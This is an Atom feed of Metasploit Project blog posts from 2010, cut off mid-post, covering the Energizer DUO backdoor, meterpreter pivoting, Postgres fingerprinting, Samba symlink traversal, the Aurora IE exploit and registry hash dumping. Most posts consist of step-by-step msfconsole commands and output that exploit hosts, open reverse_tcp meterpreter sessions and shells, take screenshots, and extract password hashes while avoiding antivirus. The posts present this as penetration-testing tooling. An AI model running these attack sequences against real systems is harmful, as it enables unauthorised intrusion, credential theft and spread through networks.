<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUcCR3Y5eip7ImA9WxBbFUU.&quot;"><id>tag:blogger.com,1999:blog-25010298</id><updated>2010-03-14T10:17:46.822-07:00</updated><title>Metasploit</title><subtitle type="html">Official blog of the Metasploit Project</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.metasploit.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.metasploit.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>98</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/metasploit/blog" /><feedburner:info uri="metasploit/blog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;DEQDQ3w7cCp7ImA9WxBbEEU.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-6212514151918476942</id><published>2010-03-08T11:07:00.001-08:00</published><updated>2010-03-08T14:12:52.208-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-08T14:12:52.208-08:00</app:edited><title>Locate and Exploit the Energizer Trojan</title><content type="html">The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included &lt;a href="http://www.kb.cert.org/vuls/id/154421"&gt;a malicious backdoor&lt;/a&gt; in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it went through &lt;a href="http://www.symantec.com/connect/blogs/trojan-found-usb-battery-charger-software"&gt;its entire lifecycle undetected&lt;/a&gt;. The good news is that the backdoor is relatively harmless; machines behind the corporate firewall, or those with a local firewall installed, should prevent access to the listener on port 7777. The backdoor makes no outbound connections and  uninstalling the USB Charger software package clears the system.&lt;br /&gt;&lt;br /&gt;As of this afternoon, you can now use Metasploit to locate infected systems on the local network. After &lt;a href="http://www.metasploit.com/framework/download/"&gt;downloading&lt;/a&gt; a copy of Metasploit and &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating"&gt;updating&lt;/a&gt; it to revision 8749 or newer, the following commands can be used to scan the local network:&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;msfconsole&lt;/b&gt;&lt;br /&gt;msf &gt; &lt;b&gt;use auxiliary/scanner/backdoor/energizer_duo_detect&lt;/b&gt;&lt;br /&gt;msf auxiliary(energizer_duo_detect) &gt; &lt;b&gt;set RHOSTS 192.168.0.0/24&lt;/b&gt;&lt;br /&gt;msf auxiliary(energizer_duo_detect) &gt; &lt;b&gt;set THREADS 256&lt;/b&gt;&lt;br /&gt;msf auxiliary(energizer_duo_detect) &gt; &lt;b&gt;run&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...&lt;br /&gt;&lt;br /&gt;To take things a step further and gain access to a system running this backdoor, use the energizer_duo_payload module:&lt;br /&gt;&lt;br /&gt;msf &gt; &lt;b&gt;use exploit/windows/backdoor/energizer_duo_payload&lt;/b&gt;&lt;br /&gt;msf exploit(energizer_duo_payload) &gt; &lt;b&gt;set RHOST 192.168.0.132&lt;/b&gt;&lt;br /&gt;msf exploit(energizer_duo_payload) &gt; &lt;b&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/b&gt;&lt;br /&gt;msf exploit(energizer_duo_payload) &gt; &lt;b&gt;set LHOST 192.168.0.228&lt;/b&gt;&lt;br /&gt;msf exploit(energizer_duo_payload) &gt; &lt;b&gt;exploit&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on 192.168.0.228:4444 &lt;br /&gt;[*] Trying to upload C:\NTL0ZTL4DhVL.exe...&lt;br /&gt;[*] Trying to execute C:\NTL0ZTL4DhVL.exe...&lt;br /&gt;[*] Sending stage (747008 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.0.228:4444 -&gt; 192.168.0.132:1200)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;getuid&lt;/b&gt;&lt;br /&gt;Server username: XPDEV\Developer&lt;br /&gt;&lt;br /&gt;A copy of the malware can be obtained from the &lt;a href="http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx"&gt;Wayback Machine&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-6212514151918476942?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/AMs-vjvnyGc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/6212514151918476942/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=6212514151918476942" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6212514151918476942?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6212514151918476942?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/AMs-vjvnyGc/locate-and-exploit-energizer-trojan.html" title="Locate and Exploit the Energizer Trojan" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/03/locate-and-exploit-energizer-trojan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYGQ3Y-eCp7ImA9WxBWF0g.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-4653772144203215223</id><published>2010-02-09T13:53:00.000-08:00</published><updated>2010-02-09T14:22:02.850-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-09T14:22:02.850-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="plugins" /><category scheme="http://www.blogger.com/atom/ns#" term="route" /><category scheme="http://www.blogger.com/atom/ns#" term="automation" /><title>Automatically Routing Through New Subnets</title><content type="html">Among the coolest features in metasploit is the ability to pivot through a meterpreter session to the network on the other side.  The &lt;tt&gt;route&lt;/tt&gt; command in msfconsole sets this up but requires a bit of typing to get right.  &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[*] Meterpreter session 1 opened (10.1.1.1:4444 -&gt; 10.1.1.128:1238)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; run get_local_subnets &lt;br /&gt;Local subnet: 10.1.1.0/255.255.255.0&lt;br /&gt;meterpreter &gt; background &lt;br /&gt;msf exploit(ms08_067_netapi) &gt; route add 10.1.1.0 255.255.255.0 1&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; route print&lt;br /&gt;&lt;br /&gt;Active Routing Table&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;   Subnet             Netmask            Gateway&lt;br /&gt;   ------             -------            -------&lt;br /&gt;   10.1.1.0           255.255.255.0      Session 1&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After running the above commands any traffic sent to addresses in the 10.1.1.0 network will be tunnelled through the session.  As part of my Blackhat DC presentation last week, I demo'd a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up.  Here is some example usage and output:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; load auto_add_route &lt;br /&gt;[*] Successfully loaded plugin: auto_add_route&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; exploit &lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on 10.1.1.1:4444 &lt;br /&gt;[*] Automatically detecting the target...&lt;br /&gt;[*] Fingerprint: Windows XP Service Pack 3 - lang:English&lt;br /&gt;[*] Selected Target: Windows XP SP3 English (NX)&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Sending stage (725504 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (10.1.1.1:4444 -&gt; 10.1.1.128:1239)&lt;br /&gt;[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1&lt;br /&gt;&lt;br /&gt;meterpreter &gt; background &lt;br /&gt;msf exploit(ms08_067_netapi) &gt; route print&lt;br /&gt;&lt;br /&gt;Active Routing Table&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;   Subnet             Netmask            Gateway&lt;br /&gt;   ------             -------            -------&lt;br /&gt;   10.1.1.0           255.255.255.0      Session 1&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The auto_add_route plugin is now available in the metasploit trunk; 'svn up' to get it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-4653772144203215223?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/ZDMp7sIox6c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/4653772144203215223/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=4653772144203215223" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4653772144203215223?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/4653772144203215223?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/ZDMp7sIox6c/automatically-routing-through-new.html" title="Automatically Routing Through New Subnets" /><author><name>egypt</name><uri>http://www.blogger.com/profile/11769900739692795929</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="13715053912532715439" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/02/automatically-routing-through-new.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8CQ3o9fyp7ImA9WxBWFE0.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-5184573217418166923</id><published>2010-02-05T09:19:00.000-08:00</published><updated>2010-02-05T12:14:22.467-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-05T12:14:22.467-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="fingerprint" /><category scheme="http://www.blogger.com/atom/ns#" term="postgres" /><title>Postgres Fingerprinting</title><content type="html">Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?&lt;br /&gt;&lt;br /&gt;Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C280&lt;br /&gt;0010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut&lt;br /&gt;0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail&lt;br /&gt;0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos&lt;br /&gt;0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L&lt;br /&gt;0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed&lt;br /&gt;0060   00 00                                            ..&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.&lt;br /&gt;&lt;br /&gt;Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating"&gt;update&lt;/a&gt;. The module looks something like this:&lt;br /&gt;&lt;br /&gt;msf auxiliary(postgres_version) &gt; &lt;span style="font-weight:bold;"&gt;set verbose true&lt;/span&gt;&lt;br /&gt;verbose =&gt; true&lt;br /&gt;msf auxiliary(postgres_version) &gt; &lt;span style="font-weight:bold;"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'&lt;br /&gt;[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)&lt;br /&gt;[*] 192.168.145.50:5432 Postgres - Disconnected&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;As mentioned at the top, if you do happen to have login credentials, you can always use those instead:&lt;br /&gt;&lt;br /&gt;msf auxiliary(postgres_version) &gt; &lt;span style="font-weight:bold;"&gt;set username scott&lt;/span&gt;&lt;br /&gt;username =&gt; scott&lt;br /&gt;msf auxiliary(postgres_version) &gt; &lt;span style="font-weight:bold;"&gt;set password tiger&lt;/span&gt;&lt;br /&gt;password =&gt; tiger&lt;br /&gt;msf auxiliary(postgres_version) &gt; &lt;span style="font-weight:bold;"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'&lt;br /&gt;[*] 192.168.145.50:5432 Postgres - querying with 'select version()'&lt;br /&gt;[+] 192.168.145.50:5432 Postgres - Command complete.&lt;br /&gt;[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'&lt;br /&gt;[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)&lt;br /&gt;[*] 192.168.145.50:5432 Postgres - Disconnected&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-5184573217418166923?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/-YuDOnNvWR0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/5184573217418166923/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=5184573217418166923" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/5184573217418166923?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/5184573217418166923?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/-YuDOnNvWR0/postgres-fingerprinting.html" title="Postgres Fingerprinting" /><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="12384835220122498606" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/02/postgres-fingerprinting.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak4BSX86fip7ImA9WxBWFE0.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-2790493265157566147</id><published>2010-02-05T08:25:00.000-08:00</published><updated>2010-02-05T14:29:18.116-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-05T14:29:18.116-08:00</app:edited><title>Exploiting the Samba Symlink Traversal</title><content type="html">Last night, &lt;a href="http://twitter.com/Kingcope"&gt;Kingcope&lt;/a&gt; uploaded a &lt;a href="http://www.youtube.com/watch?v=NN50RtZ2N74"&gt;video&lt;/a&gt; to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a &lt;a href="http://marc.info/?l=full-disclosure&amp;m=126538598820903&amp;w=2"&gt;mailing list post&lt;/a&gt;). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.&lt;br /&gt;&lt;br /&gt;A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:&lt;br /&gt;&lt;br /&gt;$ &lt;b&gt;msfconsole&lt;/b&gt;&lt;br /&gt;msf &gt; &lt;b&gt;use auxiliary/admin/smb/samba_symlink_traversal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(samba_symlink_traversal) &gt; &lt;b&gt;set RHOST 192.168.0.2&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(samba_symlink_traversal) &gt; &lt;b&gt;set SMBSHARE shared&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(samba_symlink_traversal) &gt; &lt;b&gt;set SMBTARGET rooted&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(samba_symlink_traversal) &gt; &lt;b&gt;run&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] Connecting to the server...&lt;br /&gt;[*] Trying to mount writeable share 'shared'...&lt;br /&gt;[*] Trying to link 'rooted' to the root filesystem...&lt;br /&gt;[*] Now access the following share to browse the root filesystem:&lt;br /&gt;[*]  \\192.168.0.2\shared\rooted\&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-2790493265157566147?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/CBL55z6N6gs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/2790493265157566147/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=2790493265157566147" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/2790493265157566147?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/2790493265157566147?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/CBL55z6N6gs/exploiting-samba-symlink-traversal.html" title="Exploiting the Samba Symlink Traversal" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/02/exploiting-samba-symlink-traversal.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQBR3s5cCp7ImA9WxBQF04.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-6158284165176374972</id><published>2010-01-15T13:37:00.000-08:00</published><updated>2010-01-17T04:12:36.528-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-17T04:12:36.528-08:00</app:edited><title>Reproducing the "Aurora" IE Exploit</title><content type="html">&lt;b&gt;Update:&lt;/b&gt; This module, just like the original exploit, only works on IE6 at this time. IE7 requires a slightly different method to reuse the object pointer and IE8 enables DEP by default.&lt;br /&gt;&lt;br /&gt;Yesterday, a copy of the unpatched Internet Explorer exploit used in the &lt;a href="http://www.wired.com/threatlevel/2010/01/hack-of-adob/comment-page-1/"&gt;Aurora&lt;/a&gt; attacks was uploaded to &lt;a href="http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&amp;amp;type=js"&gt;Wepawet&lt;/a&gt;. Since the code is now public, we ported this to a Metasploit module in order to provide a safe way to test your workarounds and mitigation efforts.&lt;br /&gt;&lt;br /&gt;To get started, grab the &lt;a href="http://www.metasploit.com/framework/download/"&gt;latest copy&lt;/a&gt; of the Metasploit Framework and use the &lt;a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating"&gt;online update&lt;/a&gt; feature to sync latest exploits from the development tree. Start the Metasploit Console (msfconsole) and enter the commands in bold:&lt;br /&gt;&lt;br /&gt;msf &gt; &lt;b&gt;use exploit/windows/browser/ie_aurora&lt;/b&gt;&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;b&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/b&gt;&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;b&gt;set LHOST &lt;tab&gt;&lt;/b&gt; (your IP)&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;b&gt;set URIPATH /&lt;/b&gt;&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;b&gt;exploit&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;[*] Started reverse handler on port 4444&lt;br /&gt;[*]  Local IP: http://192.168.0.151:8080/&lt;br /&gt;[*] Server started.&lt;br /&gt;&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;br /&gt;&lt;br /&gt;Open Internet Explorer on a vulnerable machine (we tested Windows XP SP3 with IE 6) and enter the Local IP URL into the browser. If the exploit succeeds, you should see a new session in the Metasploit Console:&lt;br /&gt;&lt;br /&gt;[*] Sending stage (723456 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.0.151:4444 -&gt; 192.168.0.166:1514)&lt;br /&gt;&lt;br /&gt;msf exploit(ie_aurora) &gt; &lt;b&gt;sessions -i 1&lt;/b&gt;&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;getuid&lt;/b&gt;&lt;br /&gt;Server username: WINXP\Developer&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;use espia&lt;/b&gt;&lt;br /&gt;Loading extension espia...success.&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;screenshot aurora.bmp&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zhDBubx8Wns/S1DkQH7oF_I/AAAAAAAAAII/PC6Qxgz-g90/s1600-h/aurora.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 230px;" src="http://3.bp.blogspot.com/_zhDBubx8Wns/S1DkQH7oF_I/AAAAAAAAAII/PC6Qxgz-g90/s320/aurora.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427088516639627250" /&gt;&lt;/a&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;shell&lt;/b&gt;&lt;br /&gt;Process 892 created.&lt;br /&gt;Channel 1 created.&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Developer\Desktop&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/25010298-6158284165176374972?l=blog.metasploit.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/QMsWHRp1Ewg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.metasploit.com/feeds/6158284165176374972/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=25010298&amp;postID=6158284165176374972" title="21 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6158284165176374972?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/25010298/posts/default/6158284165176374972?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/metasploit/blog/~3/QMsWHRp1Ewg/reproducing-aurora-ie-exploit.html" title="Reproducing the &quot;Aurora&quot; IE Exploit" /><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="06740426853259097794" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_zhDBubx8Wns/S1DkQH7oF_I/AAAAAAAAAII/PC6Qxgz-g90/s72-c/aurora.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">21</thr:total><feedburner:origLink>http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIHQnwzeyp7ImA9WxBRE0Q.&quot;"><id>tag:blogger.com,1999:blog-25010298.post-284466849138860790</id><published>2010-01-01T16:36:00.000-08:00</published><updated>2010-01-01T17:58:53.283-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-01T17:58:53.283-08:00</app:edited><title>Safe, Reliable, Hash Dumping</title><content type="html">The Metasploit Meterpreter has supported the "hashdump" command (through the Priv extension) since before version 3.0. The "hashdump" command is an in-memory version of the pwdump tool, but instead of loading a DLL into LSASS.exe, it allocates memory inside the process, injects raw assembly code, executes its via CreateRemoteThread, and then reads the captured hashes back out of memory. This avoids writing files to the drive and by the same token avoids being flagged by antivirus (AV) and intrusion prevention (HIPS) products.&lt;br /&gt;&lt;br /&gt;Over the last few years, many AV and HIPS products have added hooks to detect this behavior and block it at the API level. Unfortunately, the hooks are often implemented in a way that causes LSASS.exe to crash, which forces the entire system to either halt or reboot. This has made the "hashdump" command (along with pwdump and its friends) somewhat risky to use during a penetration test. One alternative to LSASS injection is to export the raw registry hives and then perform an &lt;a href="http://blog.metasploit.com/2009/12/exporting-registry-for-fun-and-profit.html"&gt;offline extraction&lt;/a&gt;. This works, but it requires the hive files to be stored on the disk and currently requires external tools to use this method with the Metasploit Framework.&lt;br /&gt;&lt;br /&gt;Over the last couple days, I reimplemented the registry-based method as a &lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/scripts/meterpreter/hashdump.rb"&gt;Meterpreter script&lt;/a&gt;. The key difference is that instead of using the reg.exe command to export the raw hives, this script uses direct registry access to extract the SYSKEY and decrypt the raw LANMAN and NTLM hashes. It isn't the fastest way to do it, but it leaves no evidence on the target, avoids the majority of the HIPS products (unless they filter registry reads), and most importantly is 100% safe in terms of system stability. The output below demonstrates a machine being compromised through MS08-067 and then having the LANMAN/NTLM hashes extracted using the live registry.&lt;br /&gt;&lt;br /&gt;msf &gt; &lt;b&gt;use exploit/windows/smb/ms08_067_netapi&lt;/b&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;b&gt;set RHOST 192.168.0.120&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;b&gt;set LHOST 192.168.0.151&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;b&gt;set LPORT 4444 &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;b&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;b&gt;exploit&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;[*] Started reverse handler on port 4444&lt;br /&gt;[*] Automatically detecting the target...&lt;br /&gt;[*] Fingerprint: Windows XP Service Pack 3 - lang:English&lt;br /&gt;[*] Selected Target: Windows XP SP3 English (NX)&lt;br /&gt;[*] Triggering the vulnerability...&lt;br /&gt;[*] Sending stage (723456 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.0.151:4444 -&gt; 192.168.0.120:1041)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;b&gt;getuid&lt;/b&gt;&lt;br /&gt;Server username: NT 